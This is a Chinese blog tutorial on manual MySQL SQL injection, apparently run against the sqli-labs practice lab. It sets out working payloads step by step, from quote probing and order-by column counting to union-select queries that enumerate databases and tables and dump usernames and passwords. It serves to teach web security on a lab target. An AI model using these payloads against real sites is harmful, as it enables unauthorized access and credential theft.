vlambda博客
学习文章列表

【sql注入专题02】Mysql手工注入流程

0x00 SQL注入的语句介绍

SQL注入的本质

       sql注入的本质就是查询某个数据库下的某个中的某些字段的内容,比如我们平时在数据库查询一条数据时操作。

mysql> use security;   //进入一个数据库
mysql> select user,pwd from users limit 0,1;//查询users表中字段为user和pwd的内容

从上面的操作中我们可以看出, 要查询出数据的内容,需要知道数据库名称,数据库中的表名称,数据库中表的字段名

       在Mysql 5.0以上的版本中,为了方便管理,默认定义了information_schema数据库,用来存储数据库元信息。其中的表schemata(所有的数据库名)、表tables(所有的表名)、表columns(所有的列名)。

mysql> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| challenges         |             |
| mysql             |
| performance_schema |
| security           |
+--------------------+

      下面通过sql语句从information_schema数据库查询出数据库名称,数据库中的表名称,数据库中表的字段名。

查询所有的数据库名称
mysql> select schema_name from information_schema.schemata;
+--------------------+
| schema_name       |
+--------------------+
| information_schema |
| challenges         |             |
| mysql             |
| performance_schema |
| security           |
+--------------------+
5 rows in set (0.00 sec)
查security数据库中的表名

我们挑选一个数据库security来查询其中的表名

mysql> select table_name from information_schema.tables where table_schema="security";
+------------+
| table_name |
+------------+
| emails     |
| referers   |
| uagents   |
| users     |
+------------+
4 rows in set (0.00 sec)
查询users数据表中列的字段名

一般都是user表中存有用户/管理员的账号密码

mysql> select column_name from information_schema.columns where table_name='users';
+-------------+
| column_name |
+-------------+
| id         |
| username   |
| password   |
+-------------+
3 rows in set (0.13 sec)
查询数据

知道了数据库名,表名,列名,可以直接查询数据了。

mysql> select username,password from security.users limit 7,7;
+----------+----------+
| username | password |
+----------+----------+
| admin   | admin   |
| admin1   | admin1   |
| admin2   | admin2   |
| admin3   | admin3   |
| dhakkan | dumbo   |
| admin4   | admin4   |
+----------+----------+
6 rows in set (0.11 sec)

我们知道如何查询数据了,接下来所要做的就是把这些查询语句注入到正常的业务sql语句中,并将结果返回到页面。

0x01 SQL注入流程

1.确认注入点

我们通过操作传入的参数,并根据页面的反馈判断是否存在SQL注入。

http://192.168.181.134/Less-1/?id=1

1.控制传入的参数使查询结果报错,让mysql查询的语法错误,即可报错。一般会用单引号,双引号等尝试。

至于用单引号和双引号,我们只能控制查询的参数,mysql在查询时单引号或者双引号没有闭合会报错。


mysql> select * from users where id='1'\';
ERROR:
Unknown command '\''.
ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'' at line 1
mysql>

存在报错(下图),意味着我们的单引号被带入查询语句,此时判断可能存在注入,需要进一步逻辑判断。

http://192.168.181.134/Less-1/?id=1'

存在报错, 也意味着我们确认后台查询参数为单引号或者双引号字符,方便闭合。

SELECT * FROM users WHERE id='$id' 或者 SELECT * FROM users WHERE id="$id"

2.通过闭合单引号,执行真条件的逻辑语句,能返回查询到对应的结果。

下语句中1后面跟单引号时用来闭合前面的单引号,--+是用来注释掉后面的语句。

192.168.181.134/Less-1/?id=1' and 1=1--+

【sql注入专题02】Mysql手工注入流程

3.通过闭合单引号,执行假条件的逻辑语句,能返回查询到对应的结果。

192.168.181.134/Less-1/?id=1' and 1=2--+

【sql注入专题02】Mysql手工注入流程

2.确认当前SQL语句的列数

为什么要确认当前SQL语句列数,为下一步union 联合查询做准备

之所以用order by确认表的列数;order by是对查询出的某列的数据进行排序,默认是正序。

超出列的个数,sql语句会报错。下表中,order by 对第三列password 查询内容进行排序,当order by 对第四列查询内容排序时,sql语句会报错,没有结果。

mysql> select id,username,password from users order by 3;
+----+----------+------------+
| id | username | password   |
+----+----------+------------+
| 8 | admin   | admin     |
| 9 | admin1   | admin1     |
| 10 | admin2   | admin2     |
| 11 | admin3   | admin3     |
| 14 | admin4   | admin4     |
| 4 | secure   | crappy     |
| 1 | Dumb     | Dumb       |
| 12 | dhakkan | dumbo     |
| 6 | superman | genious   |
| 2 | Angelina | I-kill-you |
| 7 | batman   | mob!le     |
| 3 | Dummy   | p@ssword   |
| 5 | stupid   | stupidity |
+----+----------+------------+
13 rows in set (0.00 sec)

mysql> select id,username,password from users order by 4;
ERROR 1054 (42S22): Unknown column '4' in 'order clause'
192.168.181.134/Less-1/?id=1' order by 3--+

【sql注入专题02】Mysql手工注入流程

192.168.181.134/Less-1/?id=1' order by 4--+

【sql注入专题02】Mysql手工注入流程

说明当前sql语句只查询了三列。

使用UNION注入查询语句
UNION操作符介绍

UNION 操作符用于合并两个或多个 SELECT 语句的结果集;

UNION 内部的 SELECT 语句必须拥有相同数量的列;这个就是为什么要知道当前SQL语句查询列数;

下表中第一条语句,报错提示,union 连接的2个select语句必须 有相同数量的列;第二条语句正确。

mysql> select id,username,password from users union  select 1;
ERROR 1222 (21000): The used SELECT statements have a different number of columns

mysql> select id,username,password from users where id=1 union select 1,2,user() ;
+----+----------+----------------+
| id | username | password       |
+----+----------+----------------+
| 1 | Dumb     | Dumb           |
| 1 | 2       | root@localhost |
+----+----------+----------------+
2 rows in set (0.00 sec)

一般情况我们希望自己注入的SQL语句返回结果,让第一个select查询不到结果即可(即id=-1)。

mysql> select id,username,password from users where id=-1 union  select 1,2,user() ;
+----+----------+----------------+
| id | username | password       |
+----+----------+----------------+
| 1 | 2       | root@localhost |
+----+----------+----------------+
1 row in set (0.12 sec)
http://192.168.181.134/Less-1/?id=-1' union select 1,2,3--+

【sql注入专题02】Mysql手工注入流程

上图中显示2,3表示为显示位;

http://192.168.181.134/Less-1/?id=-1' union select 1,user(),version()--+

【sql注入专题02】Mysql手工注入流程

3.使用union注入所有数据库名查询

我们在SQL注入语句中介绍了查询所有数据库,表,字段的语句,通过UNION注入进去。

http://192.168.181.134/Less-1/?id=-1' union select 1,2,group_concat(schema_name) schema_name from information_schema.schemata--+

查询到的数据库名

information_schema,challenges,hd,mysql,performance_schema,security

【sql注入专题02】Mysql手工注入流程

4.使用union注入数据库security中的表名查询
http://192.168.181.134/Less-1/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema="security";--+

查询到的数据表的名

emails,referers,uagents,users

【sql注入专题02】Mysql手工注入流程

5.使用union注入数据表users中的字段查询
http://192.168.181.134/Less-1/?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users';--+

查询到的字段名

id,username,password

6.使用union注入字段username和password内容查询
http://192.168.181.134/Less-1/?id=-1' union select 1,2,group_concat(username,0x5c,password) from users--+

查询到的数据内容 账号\密码

Dumb\Dumb,Angelina\I-kill-you,Dummy\p@ssword,secure\crappy,stupid\stupidity,superman\genious,batman\mob!le,admin\admin,admin1\admin1,admin2\admin2,admin3\admin3,dhakkan\dumbo,admin4\admin4

0x02 SQL手工注入总结

sql注入的基本步骤大致就是确认注入点-->查数据库-->查表-->查数据;

SQL注入的类型不同,每一个步骤存在大同小异;

SQL注入的扩展攻击,如读写文件,提权;

后续的教程继续跟进;